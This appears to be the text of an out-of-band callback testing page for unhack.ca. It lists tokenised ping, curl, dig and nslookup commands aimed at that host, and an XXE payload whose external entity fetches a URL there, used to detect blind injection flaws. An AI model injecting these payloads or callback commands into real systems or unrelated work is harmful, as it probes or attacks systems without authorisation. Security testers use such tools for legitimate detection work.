$ ping -c1 -p 00dcb51ebc2b472969b2778ef5b9fa00 unhack.ca
 
$ curl http://unhack.ca/p/dcb51ebc2b472969b2778ef5b9fa
 
$ dig dcb51ebc2b472969b2778ef5b9fa @unhack.ca
 
$ dig dcb51ebc2b472969b2778ef5b9fa.ns.unhack.ca
 
C:\> nslookup dcb51ebc2b472969b2778ef5b9fa unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dcb51ebc2b472969b2778ef5b9fa">]>
    <foo>&xxe;</foo>
Waiting for ping...